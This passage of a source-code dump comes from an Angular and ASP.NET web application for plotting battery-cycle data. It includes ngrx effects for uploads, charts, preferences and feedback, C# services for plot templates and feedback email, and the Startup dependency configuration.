HttpEventType.UploadProgress) { const progress = event as HttpProgressEvent; const percentDone = Math.round(100 * progress.loaded / progress.total); return new forRoot.UploadProgress(percentDone); } else if (event instanceof HttpResponse) { return new forRoot.UploadSucceeded(); } }) .filter(a => a !== undefined) .catch(error => { if (error instanceof HttpErrorResponse && error.status === 400) { const message = this.getMessage(error); return Observable.of(new forRoot.UploadFailed(message || "Bad request")); } else { return Observable.of(new forRoot.UploadFailed("Network error")); } }) ); @Effect({ dispatch: false }) onUploadSucceeded = this.actions$ .ofType(forRoot.UPLOAD_SUCCEEDED) .do(() => this.router.navigate(["/projects"])); constructor(private actions$: Actions, private uploadService: UploadService, private router: Router, private popupService: PopupService, private store$: Store<AppState>) { } private getMessage(error: HttpErrorResponse): string { if (!error.error) { return null; } try { const response = JSON.parse(error.error); if (!response) { return null; } return response.message; } catch (e) { return null; } } } <file_sep>/WebApp/src/app/stitcher/state/stitcher.effects.ts import { Injectable } from "@angular/core"; import { Actions, Effect } from "@ngrx/effects"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import "rxjs/add/observable/of"; import { AppState } from "../../state"; import * as forRoot from "./stitcher.actions"; import { StitcherService } from "./stitcher.service"; @Injectable() export class StitcherEffects { @Effect() onExport = this.actions$ .ofType(forRoot.STITCH_PROJECTS) .switchMap((action: forRoot.StitchProjects) => this.stitcherService .stitch(action.params) .map(() => new forRoot.StitchSucceeded()) .catch(error => Observable.of(new forRoot.StitchFailed(error))) ); constructor(private actions$: Actions, private store: Store<AppState>, private stitcherService: StitcherService) { } } <file_sep>/WebApp/Interfaces/ICacheProvider.cs namespace WebApp.Interfaces { public interface ICacheProvider { void Set(string key, object value); object Get(string key); void Remove(string key); void Clear(); } } <file_sep>/WebApp/src/app/auth/login/login.component.ts import { Component, OnInit } from "@angular/core"; import { FormControl, FormGroup, Validators } from "@angular/forms"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import { AppState, AuthState, Login } from "../../state"; @Component({ templateUrl: "./login.component.html", styleUrls: ["./login.component.css"] }) export class LoginComponent implements OnInit { form: FormGroup; username: FormControl; password: FormControl; rememberMe: FormControl; state$: Observable<AuthState>; constructor(private store: Store<AppState>) { this.state$ = this.store.select(s => s.auth); } ngOnInit(): void { this.username = new FormControl(null, Validators.required); this.password = new FormControl(null); this.rememberMe = new FormControl(false); this.form = new FormGroup({ username: this.username, password: <PASSWORD>, rememberMe: this.rememberMe }); } login(): void { if (this.form.invalid) { return; } this.store.dispatch(new Login(this.username.value, this.password.value, this.rememberMe.value)); this.password.setValue(null); } } <file_sep>/WebApp/Extensions/StringExtensions.cs using System.Globalization; namespace WebApp.Extensions { /// <summary> /// Additional string extensions /// </summary> public static class StringExtensions { //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// /// <summary> /// Try to parse string to a double /// </summary> /// <param name="value">String to be parsed</param> /// <returns>double or null</returns> public static double? ToDouble(this string value) { if (string.IsNullOrWhiteSpace(value)) return null; return double.TryParse(value, NumberStyles.Float & ~NumberStyles.AllowLeadingSign, CultureInfo.InvariantCulture, out var result) ? result : (double?)null; } /// <summary> /// Try to parse string to a string /// </summary> /// <param name="value">String to be parsed</param> /// <param name="defaultResult">Default value if string can not to be parsed</param> /// <returns>parsed value or default</returns> public static bool ToBoolean(this string value, bool defaultResult = false) { return bool.TryParse(value, out var result) ? result : defaultResult; } } } <file_sep>/WebApp/src/app/preferences/state/preferences.effects.ts import { Injectable } from "@angular/core"; import { Actions, Effect } from "@ngrx/effects"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import { UserPreferencesService } from "./preferences.service" import { AppState } from "../../state"; import * as forRoot from "./preferences.actions"; @Injectable() export class UserPreferencesEffects { constructor(private store: Store<AppState>, private actions$: Actions, private userPreferencesService: UserPreferencesService) { } @Effect() onGetUserPreferences = this.actions$ .ofType(forRoot.VIEW_USER_PREFERENCES) .switchMap((action: forRoot.ViewUserPreferences) => this.userPreferencesService.getPreferences() .map(preferences => new forRoot.ViewUserPreferencesSucceeded(preferences)) .catch(error => Observable.of(new forRoot.UserPreferencesSettingsFailed("Unable to read user preferences. Please, try again later.")))); @Effect() onSetUserPreferences = this.actions$ .ofType(forRoot.SET_USER_PREFERENCES_SETTINGS) .withLatestFrom(this.store.select(s => s.userPreferences), (_, state) => state) .switchMap((state) => this.userPreferencesService.savePrefernces(state.preferences) .map(() => new forRoot.ViewUserPreferencesSucceeded(state.preferences)) .catch(error => Observable.of(new forRoot.UserPreferencesSettingsFailed("Unable to save user preferences. Please, try again later.")))); }<file_sep>/WebApp/src/app/preferences/preferences.component.ts import { Component, OnInit } from "@angular/core"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import "rxjs/add/operator/skipWhile"; import { FormBuilder, FormGroup, FormArray } from "@angular/forms"; import { AppState } from "../state"; import { ViewUserPreferences, SetUserPreferencesSettings } from "./state/preferences.actions" import { UserPreferencesState } from "./state/preferences.state" import { UserPreferences, ChartPaletteColor } from "./model/preferences.model" @Component({ selector: "app-preferences", templateUrl: "./preferences.component.html", styleUrls: ["./preferences.component.css"] }) export class PreferencesComponent implements OnInit { private seriesPaletteColors: any[]; private chartFontFamilies: string[] = [ "Helvetica Neue", "Helvetica", "Arial", "Calibri", "Tahoma", "Times New Roman", "Georgia", "Segoe", "Verdana" ]; private isPreferencesLoaded: boolean; preferencesForm: FormGroup; state$: Observable<UserPreferencesState>; constructor(private store: Store<AppState>, private formBuilder: FormBuilder) { this.createForm(); this.state$ = this.store.select(s => s.userPreferences); } ngOnInit(): void { this.isPreferencesLoaded = false; this.store.dispatch(new ViewUserPreferences()); this.store.select(s => s.userPreferences.preferences) .skipWhile(p => !p) .subscribe(p => { this.isPreferencesLoaded = true; this.setChartPaletteColor(p.chartPreferences.paletteColors); this.preferencesForm.setValue({ chartPreferences: p.chartPreferences }); }); } get IsReady() { return this.isPreferencesLoaded; } get paletteColors(): FormArray { return this.preferencesForm.get("chartPreferences.paletteColors") as FormArray; } getPaletteColorGroup(fromIndex, toIndex): any[] { return this.paletteColors.controls.slice(fromIndex, toIndex); } save(): void { const userPreferences: UserPreferences = { chartPreferences: this.preferencesForm.value.chartPreferences } this.store.dispatch(new SetUserPreferencesSettings(userPreferences)); } private setChartPaletteColor(colors: ChartPaletteColor[]) { const colorFGs = colors.map(color => this.formBuilder.control(color)); const colorFormArray = this.formBuilder.array(colorFGs); (this.preferencesForm.get("chartPreferences") as FormGroup).setControl("paletteColors", colorFormArray); } private createForm(): void { this.preferencesForm = this.formBuilder.group({ chartPreferences: this.formBuilder.group({ pointSize: 11, xLineVisible: true, yLineVisible: true, showLegend: false, fontFamilyName: null, fontSize: null, paletteColors: this.formBuilder.array([]), }) }); } }<file_sep>/WebApp/src/app/chart/state/chart.effects.ts import { Injectable } from "@angular/core"; import { Actions, Effect } from "@ngrx/effects"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import { HttpErrorResponse } from "@angular/common/http"; import "rxjs/add/observable/of"; import "rxjs/add/operator/catch"; import "rxjs/add/operator/do"; import "rxjs/add/operator/map"; import "rxjs/add/operator/mergeMap"; import "rxjs/add/operator/switchMap"; import "rxjs/add/operator/withLatestFrom"; import * as FileSaver from "file-saver"; import { AppState } from "../../state"; import * as forRoot from "./chart.actions"; import { ChartService } from "./chart.service"; import * as Constants from "../../shared/errorMessages"; @Injectable() export class ChartEffects { //@Effect() //onChangeParameters = this.actions$ // .ofType(forRoot.SET_PROJECTS) // .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) // .switchMap(state => // this.chartService // .saveParameters(state.cycleFilter, state.aggregationSettings, state.uomSettings // , state.chart == null ? false : state.legendVisible, state.plotParameters) // ).map(() => new forRoot.StartRefresh()); @Effect() onChangeParameters = this.actions$ .ofType(forRoot.SET_PROJECTS) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => Observable.of<forRoot.ChartAction>(new forRoot.StartRefresh())); @Effect() onChangeChartSettings = this.actions$ .ofType(forRoot.TOGGLE_LEGEND, forRoot.SET_AXIS_RANGE_SETTINGS, forRoot.SET_CYCLE_FILTER, forRoot.SET_AGGREGATION_SETTINGS, forRoot.SET_CHART_SETTINGS, forRoot.SET_UOM_SETTINGS) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService.saveParameters(state.cycleFilter, state.aggregationSettings, state.uomSettings, state.chart == null ? false : state.legendVisible, state.plotParameters) .map(() => new forRoot.StartDataPointRefresh()) .catch(() => Observable.of<forRoot.ChartAction>(new forRoot.EndRefresh(state.chart))) ); @Effect() onRefresh = this.actions$ .ofType(forRoot.SET_PLOT_TYPE, forRoot.START_REFRESH) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .get(state.projects, state.plotType, state.plotTemplateId, state.viewId, state.stateOfCharge) .map(chart => new forRoot.EndRefresh(chart)) .catch(error => { return Observable.of<forRoot.ChartAction>(new forRoot.RefreshFailed( this.getFailedMessage(error)), new forRoot.EndRefresh(null)); }) ); @Effect() onDataPointsRefresh = this.actions$ .ofType(forRoot.START_DATAPOINTS_REFRESH) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .get(state.projects, state.plotType, state.plotTemplateId, state.viewId, state.stateOfCharge) .map(chart => new forRoot.EndDataPointRefresh(chart)) .catch(error => { return Observable.of<forRoot.ChartAction>(new forRoot.RefreshFailed(this.getFailedMessage(error)), new forRoot.EndRefresh(null)); }) ); @Effect() onExport = this.actions$ .ofType(forRoot.START_EXPORT) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .export(state.projects, state.plotType, state.cycleFilter, state.aggregationSettings, state.uomSettings, state.chart == null ? 1 : state.chart.pointSize , state.chart == null ? null : state.chart.selectedTemplateName, state.stateOfCharge, state.chartImageBlob) .do(blob => FileSaver.saveAs(blob, "Export.xlsx")) .map(() => new forRoot.EndExport()) .catch(error => Observable.of<forRoot.ChartAction>(new forRoot.ExportFailed(error), new forRoot.EndExport())) ); @Effect() onExportAll = this.actions$ .ofType(forRoot.START_EXPORT_ALL) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .exportAll(state.projects, state.plotType, state.uomSettings, state.chart == null ? 1 : state.chart.pointSize , state.chart == null ? null : state.chart.selectedTemplateName, state.stateOfCharge, state.chartImageBlob) .do(blob => FileSaver.saveAs(blob, "Export.xlsx")) .map(() => new forRoot.EndExport()) .catch(error => Observable.of<forRoot.ChartAction>(new forRoot.ExportFailed(error), new forRoot.EndExport())) ); @Effect() onSaveTemplate = this.actions$ .ofType(forRoot.SAVE_PLOT_TEMPLATE) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .savetemplate(state.projects, state.plotTemplate) .mergeMap(plotsData => [ new forRoot.SelectPlotsTemplate(plotsData.selectedTemplate), new forRoot.StartRefreshPlotTemplates() ]) .catch(error => Observable.of<forRoot.ChartAction>(new forRoot.RefreshFailed(error), new forRoot.EndPlotTemplatesRefresh(null))) ); @Effect() onSelectView = this.actions$ .ofType(forRoot.SELECT_VIEW) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .getbyview(state.viewId) .map(chart => new forRoot.SelectViewCompleated(chart)) .catch(error => Observable.of<forRoot.ChartAction>(new forRoot.RefreshFailed(this.getFailedMessage(error)), new forRoot.EndRefresh(null))) ); @Effect() onChangePlots = this.actions$ .ofType(forRoot.SELECT_PLOT_TEMPLATE) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .do(state => this.store.next( { type: forRoot.SET_DEFAULT_PARAMS } )) .switchMap(state => this.chartService .getbytemplate(state.projects, state.plotTemplateId) .map(chart => new forRoot.EndRefresh(chart)) .catch(error => Observable.of<forRoot.ChartAction>(new forRoot.RefreshFailed(error), new forRoot.EndRefresh(null))) ); @Effect() onStateOfCharge = this.actions$ .ofType(forRoot.SET_STATE_OF_CHARGE) .switchMap((action: forRoot.SetStateOfCharge) => this.chartService .setStateOfCharge(action.projects , action.stateOfCharge) ).map(chart => new forRoot.EndSetStateOfCharge(chart)); @Effect() onShareTemplate = this.actions$ .ofType(forRoot.SHARE_TEMPLATE) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .shareTemplate(state.shareSettings.objectIds, state.shareSettings.email, state.plotType) ); @Effect() onShareProject = this.actions$ .ofType(forRoot.SHARE_PROJECT) .switchMap((action: forRoot.ShareProject) => this.chartService .shareProject(action.objectIds, action.email) ); @Effect() onDeleteTemplate = this.actions$ .ofType(forRoot.DELETE_PLOT_TEMPLATE) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .deletetemplate(state.projects, state.plotTemplate) .map(plotTemplates => new forRoot.StartRefreshPlotTemplates()) .catch(error => Observable.of<forRoot.ChartAction>(new forRoot.RefreshFailed(error), new forRoot.EndPlotTemplatesRefresh(null))) ); @Effect() onRefreshPlotTemplates = this.actions$ .ofType(forRoot.START_PLOT_TEMPLATE_REFRESH) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .getPlots() .map(plotTemplates => new forRoot.EndPlotTemplatesRefresh(plotTemplates)) .catch(error => Observable.of<forRoot.ChartAction>(new forRoot.RefreshFailed(error), new forRoot.EndPlotTemplatesRefresh(null))) ); @Effect() onSetDefaultParameters = this.actions$ .ofType(forRoot.SET_DEFAULT_PARAMS) .withLatestFrom(this.store.select(s => s.chart), (_, state) => state) .switchMap(state => this.chartService .setDefaultParameters() ).map(() => new forRoot.StartRefresh()); constructor(private actions$: Actions, private store: Store<AppState>, private chartService: ChartService) { } private getFailedMessage(response: HttpErrorResponse): string { const body = response.error; const status = (body || {}).status; return Constants.errorMessages[status] || ""; } } <file_sep>/WebApp/Services/PlotTemplateService.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Collections.Generic; using System.Data.Entity; using System.Diagnostics; using System.Linq; using System.Reflection; using DataLayer; using Dqdv.Types.Plot; using log4net; using Newtonsoft.Json; using Plotting; using WebApp.Data; using WebApp.Interfaces; using WebApp.Search.Extensions; using Project = DataLayer.Project; namespace WebApp.Services { public class TemplateTempSettings { public int Id { get; set; } public PlotParameters PlotParameters { get; set; } } public class PlotTemplateService { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); private const int PointSizeOnOneCyclePlots = 10; private const int MaxSeriesPerPlot = 100; private const string GlobalTemplatesUser = "<EMAIL>"; private readonly DqdvContext _db; private readonly TemplatePlotter _templatePlotter; private readonly ChartSettingProvider _chartSettingProvider; private readonly ICacheProvider _cacheProvider; public PlotTemplateService( DqdvContext db, TemplatePlotter templatePlotter, ChartSettingProvider chartSettingProvider, ICacheProvider cacheProvider) { _db = db; _templatePlotter = templatePlotter; _chartSettingProvider = chartSettingProvider; _cacheProvider = cacheProvider; } //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// public ChartTemplate GetChartTemplate(ChartOwner owner, int templateId, IList<Project> projects) { var templateUserId = _db.Users.AsNoTracking().First(u => u.UserName == GlobalTemplatesUser); var selectedTemplate = _db.GetAllUserPlotTemplates(owner.Id, templateUserId.Id).FirstOrDefault(item => item.Id == templateId); if (selectedTemplate == null) return null; var template = JsonConvert.DeserializeObject<Dqdv.Types.Plot.PlotTemplate>(selectedTemplate.Content); var parameters = _chartSettingProvider.MergeWithGlobal(owner.Id, template.PlotParameters); //parameters = _chartSettingProvider.MergePlotParameters(parameters, _chartSettingProvider.GetSettings(owner.Id)); var currentTemp = _cacheProvider.Get($"PlotParameters_{owner.Id}_Template") as TemplateTempSettings; var tempSettings = new TemplateTempSettings { Id = templateId, PlotParameters = parameters //_chartSettingProvider.MergePlotParameters(parameters, _chartSettingProvider.GetSettings(owner.Id)) }; if (currentTemp == null) { _cacheProvider.Set($"PlotParameters_{owner.Id}_Template", tempSettings); _chartSettingProvider.SetSettings(owner.Id, tempSettings.PlotParameters); parameters = tempSettings.PlotParameters; } else { if (currentTemp.Id != templateId) _cacheProvider.Set($"PlotParameters_{owner.Id}_Template", tempSettings); else { parameters = _chartSettingProvider.GetSettings(owner.Id); } } var projectWithOneCycleExist = projects.HasProjectsWithOneCycle(); var cyclesMaxVerified = projects.IsTotalProjectsCyclesGreaterThanMaximum(MaxSeriesPerPlot); parameters.PointSize = projectWithOneCycleExist ? PointSizeOnOneCyclePlots : parameters.PointSize; parameters.MaxCycles = cyclesMaxVerified ? MaxSeriesPerPlot : parameters.MaxCycles; var timer = Stopwatch.StartNew(); var chart = _templatePlotter.Plot(template, parameters, projects, owner.Name); Log.Info($"PlotTemplateService.GetChartTemplate: Plot({template.Name}, {parameters}): plot {timer.ElapsedMilliseconds} ms"); chart.SelectedTemplateName = templateId.ToString(); chart.PlotParameters = parameters; chart.PlotParameters.IsInitialized = true; return new ChartTemplate { Chart = chart, Template = template }; } } public class ChartOwner { public ChartOwner(string id, string name) { Id = id; Name = name; } public string Id { get; } public string Name { get; } } public class ChartTemplate { public Chart Chart { get; set; } public Dqdv.Types.Plot.PlotTemplate Template { get; set; } } } <file_sep>/WebApp/Data/Projects.cs using System.Linq; using DataLayer; using LinqKit; using System.Collections.Generic; namespace WebApp.Data { static class DqdvProjectsExtensions { public static IQueryable<Project> GetProjects(this DqdvContext @this, string userId) { return @this.Projects .AsExpandable() .Where(p => p.UserId == userId); } public static IEnumerable<Project> GetAllUserProjects(this DqdvContext @this, string userId) { List<Project> projects = new List<Project>(); AppUser user = @this.Users.FirstOrDefault(p => p.Id == userId); if (user != null) { projects.AddRange(user.Projects); projects.AddRange(user.SharedProjects); } return projects; } } static class DqdvPlotTemplatesExtensions { public static IQueryable<PlotTemplate> GetPlotTemplates(this DqdvContext @this, string userId) { return @this.PlotTemplates .AsExpandable() .Where(p => p.UserId == userId); } public static IEnumerable<PlotTemplate> GetAllUserPlotTemplates(this DqdvContext @this, string userId, string templateUserId) { List<PlotTemplate> templates = new List<PlotTemplate>(); var user = @this.Users.FirstOrDefault(p => p.Id == userId); var templateUser = @this.Users.FirstOrDefault(p => p.Id == templateUserId); if (user != null && templateUser != null) { templates.AddRange(templateUser.PlotTemplates); templates.AddRange(user.PlotTemplates); templates.AddRange(user.SharedTemplates); } return templates; } } } <file_sep>/WebApp/src/app/state/app.reducers.ts import { ActionReducerMap } from "@ngrx/store"; import { AppState } from "./app.state"; import { authReducer } from "../auth/state/auth.reducers"; import { chartReducer } from "../chart/state/chart.reducers"; import { feedbackReducer } from "../feedback/state/feedback.reducer"; import { stitcherReducer } from "../stitcher/state/stitcher.reducer"; import { statisticStitcherReducer } from "../statistic-project/state/statistic-stitcher.reducer"; import { viewerReducer } from "../view/state/view.reducer"; import { uploadReducer } from "../upload/state/upload.reducers"; import { userPreferencesReducer } from "../preferences/state/preferences.reducer"; export const appReducers: ActionReducerMap<AppState> = { auth: authReducer, chart: chartReducer, feedback: feedbackReducer, viewer: viewerReducer, stitcher: stitcherReducer, statisticStitcher: statisticStitcherReducer, upload: uploadReducer, userPreferences: userPreferencesReducer }; <file_sep>/WebApp/src/app/auth/acquire-password-reset/acquire-password-reset.component.ts import { Component, OnInit } from "@angular/core"; import { FormControl, FormGroup, Validators } from "@angular/forms"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import { AppState, AuthState, AcquirePasswordReset } from "../../state"; @Component({ templateUrl: "./acquire-password-reset.component.html", styleUrls: ["./acquire-password-reset.component.css"] }) export class AcquirePasswordResetComponent implements OnInit { form: FormGroup; username: FormControl; state$: Observable<AuthState>; constructor(private store: Store<AppState>) { this.state$ = this.store.select(s => s.auth); } ngOnInit(): void { this.username = new FormControl(null, Validators.required); this.form = new FormGroup({ username: this.username }); } submit(): void { if (this.form.valid) { this.store.dispatch(new AcquirePasswordReset(this.form.value.username)); } } } <file_sep>/WebApp/Controllers/Api/FeedbackController.cs using System; using System.Net.Mail; using System.Threading.Tasks; using System.Web; using System.Web.Http; using DataLayer; using Microsoft.AspNet.Identity; using WebApp.Models.Feedback; using WebApp.Services; namespace WebApp.Controllers.Api { [Authorize] public class FeedbackController : ApiController { #region Private fields private readonly ApplicationUserManager _userManager; private readonly FeedbackStorage _storage; #endregion #region Constructor public FeedbackController(ApplicationUserManager userManager, FeedbackStorage storage) { _userManager = userManager; _storage = storage; } #endregion #region Public methods [Route("api/feedback")] [HttpPost] public async Task<IHttpActionResult> Create() { var model = BindSendFeedbackModel(); if (!ModelState.IsValid) return BadRequest(); var user = await _userManager.FindByIdAsync(User.Identity.GetUserId()); var name = string.Empty; var url = string.Empty; if (model.File != null) { name = Guid.NewGuid().ToString(); url = await _storage.Save(model.File, name); } await Send(GenerateBody(user, model, name, url)); return Ok(); } #endregion #region Private methods private SendFeedbackModel BindSendFeedbackModel() { var model = new SendFeedbackModel { Comment = HttpContext.Current.Request.Form["comment"] }; if (string.IsNullOrWhiteSpace(model.Comment)) ModelState.AddModelError("comment", "'Comment' is required"); var files = HttpContext.Current.Request.Files; if (files.Count > 1) ModelState.AddModelError("file", "Only one file is allowed"); else if (files.Count == 1) model.File = files[0]; return model; } private static string GenerateBody(AppUser user, SendFeedbackModel model, string name, string url) { var body = $"Username: {HttpUtility.HtmlEncode(user.UserName)}<br />"; body += $"E-mail: {HttpUtility.HtmlEncode(user.Email)}<br />"; body += $"User Id: {HttpUtility.HtmlEncode(user.Id)}<br />"; body += $"UTC Time: {DateTime.UtcNow}<br />"; if (model.File == null) { body += "Attachment: No<br />"; } else { body += $"Attachment: {HttpUtility.HtmlEncode(model.File.FileName)}<br />"; body += $"Blob name: {HttpUtility.HtmlEncode(name)}<br />"; body += $"Blob url: {HttpUtility.HtmlEncode(url)}<br />"; } body += "Comment:<br />"; body += HttpUtility.HtmlEncode(model.Comment)?.Replace("\r\n", "<br />"); return body; } private static async Task Send(string body) { using (var msg = new MailMessage()) { msg.To.Add(new MailAddress("<EMAIL>")); msg.From = new MailAddress("<EMAIL>"); msg.Subject = "Feedback from a user"; msg.IsBodyHtml = true; msg.Body = body; using (var client = new SmtpClient()) await client.SendMailAsync(msg); } } #endregion } } <file_sep>/WebApp/src/app/feedback/state/feedback.effects.ts import { HttpEventType, HttpErrorResponse, HttpProgressEvent, HttpResponse } from "@angular/common/http"; import { Injectable } from "@angular/core"; import { Router } from "@angular/router"; import { Actions, Effect } from "@ngrx/effects"; import { Observable } from "rxjs/Observable"; import "rxjs/add/observable/of"; import "rxjs/add/operator/filter"; import "rxjs/add/operator/map"; import * as forRoot from "./feedback.actions"; import { FeedbackService } from "./feedback.service"; @Injectable() export class FeedbackEffects { @Effect() onSendFeedback = this.actions$ .ofType(forRoot.SEND_FEEDBACK) .switchMap((action: forRoot.SendFeedback) => this.feedbackService .sendFeedback(action.comment, action.file) .map((event) => { if (event.type === HttpEventType.UploadProgress) { const progress = event as HttpProgressEvent; const percentDone = Math.round(100 * progress.loaded / progress.total); return new forRoot.SendFeedbackProgress(percentDone); } else if (event instanceof HttpResponse) { return new forRoot.SendFeedbackSucceeded(); } }) .filter(a => a !== undefined) .catch(error => { if (error instanceof HttpErrorResponse && error.status === 400) { const message = this.getMessage(error); return Observable.of(new forRoot.SendFeedbackFailed(message || "Bad request")); } else { return Observable.of(new forRoot.SendFeedbackFailed("Network error")); } }) ); @Effect({ dispatch: false }) onSendFeedbackSucceeded = this.actions$ .ofType(forRoot.SEND_FEEDBACK_SUCCEEDED) .do(() => this.router.navigate(["/projects"])); constructor(private actions$: Actions, private router: Router, private feedbackService: FeedbackService) { } private getMessage(error: HttpErrorResponse): string { if (!error.error) { return null; } try { const response = JSON.parse(error.error); if (!response) { return null; } return response.message; } catch (e) { return null; } } } <file_sep>/WebApp/Startup.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Collections.Specialized; using System.Configuration; using System.IO; using System.Reflection; using System.Web.Http; using System.Web.Http.ExceptionHandling; using System.Web.OData.Builder; using System.Web.OData.Extensions; using Autofac; using Autofac.Integration.WebApi; using DataLayer; using Dqdv.External; using Hangfire; using log4net; using log4net.Config; using Microsoft.AspNet.Identity; using Microsoft.AspNet.Identity.EntityFramework; using Microsoft.OData.Edm; using Microsoft.Owin; using Microsoft.Owin.Security; using Microsoft.Owin.Security.Cookies; using Microsoft.Owin.Security.DataProtection; using Newtonsoft.Json.Serialization; using Owin; using Plotting; using WebApp; using WebApp.Interfaces; using WebApp.Services; using GlobalConfiguration = Hangfire.GlobalConfiguration; using Project = DataLayer.Project; using Dqdv.External.Contracts.Azure; using Dqdv.Internal.Contracts.Settings; using Dqdv.Internal.Settings; using Plotting.Plotters; using WebApp.Search.Queries; [assembly: OwinStartup(typeof(Startup))] namespace WebApp { class Startup { #region Logging private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); #endregion #region Public methods public void Configuration(IAppBuilder app) { try { XmlConfigurator.Configure(); Log.Info("Startup.Configuration: Starting"); var container = GetDependencyContainer(app); var config = new HttpConfiguration { DependencyResolver = new AutofacWebApiDependencyResolver(container) }; Configure(config); app.UseCookieAuthentication( new CookieAuthenticationOptions { AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie, Provider = new CookieAuthenticationProvider() }); app.UseAutofacMiddleware(container); app.UseAutofacWebApi(config); app.UseWebApi(config); RegisterColumnEncryptionKeyStoreProviders(container); MigrateDatabase(); ConfigureHangfire(); Log.Info("Startup.Configuration: Started"); } catch (Exception ex) { Log.Error("Startup.Configuration: Unexpected exception during stratup", ex); throw; } } #endregion #region Private methods private static void Configure(HttpConfiguration config) { config.SetTimeZoneInfo(TimeZoneInfo.Utc); config.Formatters.JsonFormatter.SerializerSettings.ContractResolver = new CamelCasePropertyNamesContractResolver(); config.Services.Add(typeof(IExceptionLogger), new WebApiExceptionLogger()); config.Services.Replace(typeof(IExceptionHandler), new WebApiExceptionHandler()); config.MapHttpAttributeRoutes(); config.Select() .Expand() .Filter() .OrderBy() .MaxTop(null) .Count(); config.MapODataServiceRoute("odata", "odata", GetODataModel()); } private static IContainer GetDependencyContainer(IAppBuilder app) { var builder = new ContainerBuilder(); // Singleton builder.RegisterInstance(app.GetDataProtectionProvider()); builder.RegisterType<OptionSettings>().As<IOptions>().SingleInstance(); builder.RegisterType<AzureActiveDirectorySettings>().As<IAzureActiveDirectorySettings>().SingleInstance(); builder.RegisterType<ClientCredentialFactory>().As<IClientCredentialFactory>().SingleInstance(); builder.RegisterType<AzureKeyVaultTokenProvider>().As<IAzureKeyVaultTokenProvider>().SingleInstance(); builder.RegisterType<AzureSqlColumnEncryptionKeyStoreProvider>().As<IAzureSqlColumnEncryptionKeyStoreProvider>().SingleInstance(); builder.RegisterType<CacheProvider>().As<ICacheProvider>().SingleInstance(); // Scoped builder.Register(c => new DqdvContext(ConfigurationManager.ConnectionStrings["Default"].ConnectionString, TimeSpan.FromMinutes(30))).InstancePerRequest(); builder.RegisterType<ApplicationUserManager>().InstancePerRequest(); builder.RegisterType<ApplicationSignInManager>().InstancePerRequest(); builder.RegisterType<ProjectPlotCache>().AsSelf().InstancePerRequest(); builder.RegisterType<ProjectService>().AsSelf().InstancePerRequest(); builder.Register(c => new UserStore<AppUser>(c.Resolve<DqdvContext>())).As<IUserStore<AppUser>>().InstancePerRequest(); builder.Register(c => c.Resolve<IOwinContext>().Authentication).As<IAuthenticationManager>().InstancePerRequest(); builder.Register<IStorage>(c => { var section = (NameValueCollection)ConfigurationManager.GetSection("storage"); var type = section["Type"]; switch (type) { case "Local": return new LocalStorage(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, section["Directory"])); case "Azure": return new AzureStorage(section["ConnectionString"], 